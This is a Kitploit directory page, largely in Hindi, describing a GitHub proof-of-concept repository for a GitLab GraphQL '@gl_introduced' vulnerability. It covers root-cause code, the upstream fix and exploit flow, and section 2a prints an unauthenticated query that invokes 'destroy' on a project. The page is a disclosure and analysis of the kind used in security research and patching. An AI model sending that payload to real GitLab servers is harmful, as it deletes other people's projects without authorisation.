Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2026-19478 — दो GitLab GraphQL `@gl_introduced` डायरेक्टिव कमजोरियों के लिए PoC एक्सप्लॉइट और रूट-कॉज़ विश्लेषण प्रदान करता है: बिना प्रमाणीकरण के विधि निष्पादन और बैच्ड दस्तावेज़ स्वैप, अपस्ट्रीम पैच और लाइव साक्ष्य के साथ। | Kitploit
उपकरण/GitHubGitHub/n0xdaemon/cve-2026-19478
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणवेब सुरक्षा
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

दो GitLab GraphQL `@gl_introduced` डायरेक्टिव कमजोरियों के लिए PoC एक्सप्लॉइट और रूट-कॉज़ विश्लेषण प्रदान करता है: बिना प्रमाणीकरण के विधि निष्पादन और बैच्ड दस्तावेज़ स्वैप, अपस्ट्रीम पैच और लाइव साक्ष्य के साथ।

रिपॉजिटरी देखें
241 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-19478 — GitLab GraphQL @gl_introduced version-filter भेद्यताएँ

GitLab की GraphQL version-filter सुविधा (@gl_introduced directive) में दो संबंधित बगों के लिए एक reproduction lab। दोनों एक ही सुविधा क्षेत्र में रहते हैं, एक ही upstream patch द्वारा ठीक किए जाते हैं, और दोनों एक GraphQL अनुरोध को उन code paths तक पहुँचने देते हैं जिन्हें उसने कभी घोषित नहीं किया था:

  • फ़ॉलबैक-फ़ील्ड मेथड निष्पादन — एक एकल, अनप्रमाणित, non-batched क्वेरी किसी भी GraphQL प्रकार के पीछे स्थित मॉडल पर एक मनमाना शून्य-तर्क मेथड (जैसे destroy) आह्वान कर सकती है, केवल एक ऐसा फ़ील्ड नाम देकर जो मौजूद नहीं है और उसे @gl_introduced टैग करके।
  • क्रॉस-ऑपरेशन डॉक्यूमेंट स्वैप — batched (multiplex) अनुरोध में, एक ऑपरेशन का parsed query दस्तावेज़ दूसरे ऑपरेशन के रूप में swapped किया जा सकता है, जिससे एक स्लॉट जिसने हानिरहित read घोषित किया था, अंततः किसी दूसरे स्लॉट के mutation को निष्पादित करता है।
प्रभावित18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
ठीक किया गया18.11.11, 19.0.8, 19.1.6, 19.2.4
लैब लक्ष्यgitlab/gitlab-ce:19.2.2-ce.0 (फिक्स से पहले का अंतिम build)
ट्रिगरGraphQL @gl_introduced directive, अकेले या batch के अंदर

रिपॉज़िटरी लेआउट

docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

src/ के अंतर्गत सब कुछ verbatim upstream स्रोत है, कभी पुनः कार्यान्वित नहीं किया गया — loader src/common के ऊपर src/vuln या src/patched ओवरले करता है।


1. मूल कारण

1a. फ़ॉलबैक फ़ील्ड → graphql-ruby की डिफ़ॉल्ट मेथड रिज़ॉल्यूशन

Gitlab::Graphql::VersionFilter::FutureFieldFallback एक क्वेरी को किसी प्रकार पर अभी मौजूद नहीं रहे फ़ील्ड को संदर्भित करने देता है, बिना अनुरोध असफल हुए — यह रोलिंग डिप्लॉय (rolling deploys) के लिए है, जहाँ एक पुराने नोड के स्कीमा में वह फ़ील्ड नहीं होता जो एक नए नोड में पहले से होता है। इसका get_field ओवरराइड जाँचता है कि अनुरोधित फ़ील्ड गायब है और अनुरोध contain_future_fields के रूप में चिह्नित है, और यदि ऐसा है तो raising करने के बजाय एक synthetic फ़ील्ड देता है:

# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

समस्या: यह GraphQL::Schema::Field बिना किसी resolver method, resolver class, या block के बनाया गया है। फिर graphql-ruby का अपना डिफ़ॉल्ट फ़ील्ड रिज़ॉल्यूशन लागू होता है (graphql gem 2.6.3, lib/graphql/schema/field.rb):

inner_object.public_send(@method_sym)

@method_sym फ़ील्ड का नाम है, underscore के साथ — यानी वास्तव में वही स्ट्रिंग जो हमलावर ने क्वेरी में डाली थी। यदि GraphQL प्रकार के पीछे का ऑब्जेक्ट (ActiveRecord मॉडल) उस नाम के साथ एक वास्तविक, शून्य-तर्क public मेथड रखता है, तो graphql-ruby उसे कॉल करता है और उसका (type-coerced) परिणाम लौटाता है। fallback_value: nil केवल तब लागू होता है जब मेथड वास्तव में मौजूद नहीं होता — यह किसी वास्तविक मेथड को चलने से रोकने के लिए कुछ नहीं करता।

इसलिए: किसी भी प्रकार से किसी वास्तविक विनाशकारी मेथड के नाम वाले फ़ील्ड के लिए क्वेरी करें — उदाहरण के लिए destroy — उसे @gl_introduced टैग करें ताकि वह निष्पादन तक जीवित रहे, और मेथड चल जाता है।

1b. क्रॉस-ऑपरेशन डॉक्यूमेंट स्वैप

IntroducedTracer version-filter सुविधा के शेष भाग को दो graphql-ruby trace hooks — parse (प्रति ऑपरेशन एक बार) और execute_query (प्रति ऑपरेशन एक बार) — में लागू करता है। भेद्य build में यह अपनी प्रति-ऑपरेशन स्थिति को trace ऑब्जेक्ट पर सामान्य instance variables में छिपाता है:

# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

समस्या: graphql-ruby एक multiplexed अनुरोध में हर ऑपरेशन के बीच एक ही trace instance साझा करता है, और किसी को निष्पादित करने से पहले उन सभी को parse करता है। तो दो-ऑपरेशन batch में:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 एक @gl_introduced future फ़ील्ड रखता है)

Parse करने के बाद, केवल अंतिम ऑपरेशन की स्थिति बचती है। फिर निष्पादन चलता है:

  1. execute_query(op1) → flag true है, इसलिए op1 का document op2_doc के साथ अधिलेखित (overwrite) हो जाता है और पुनः तैयार किया जाता है → op1 का स्लॉट op2 का ऑपरेशन चलाता है।

op1 ने एक read घोषित किया; यह op2 के write को निष्पादित करता है।

फिक्स

patch-19.2.2-to-19.2.4.diff दोनों को बंद करता है:

# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. एक्सप्लॉइट प्रवाह

2a. फ़ॉलबैक फ़ील्ड — एकल अनुरोध, बिना auth, बिना batching

query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

कोई Authorization हेडर नहीं। एक ही ऑपरेशन, कोई batch नहीं। destroy Project पर एक वास्तविक फ़ील्ड नहीं है — यह स्कीमा में बिल्कुल मौजूद नहीं है — लेकिन directive FutureFieldFilter को static validation से पहले इसे हटाने और निष्पादन के लिए contain_future_fields को सशस्त्र (arm) करने देती है, जहाँ get_field destroy नामक बिना-resolver वाला फ़ील्ड देता है और graphql-ruby project.public_send(:destroy) कॉल करता है।

टूल डाउनलोड करें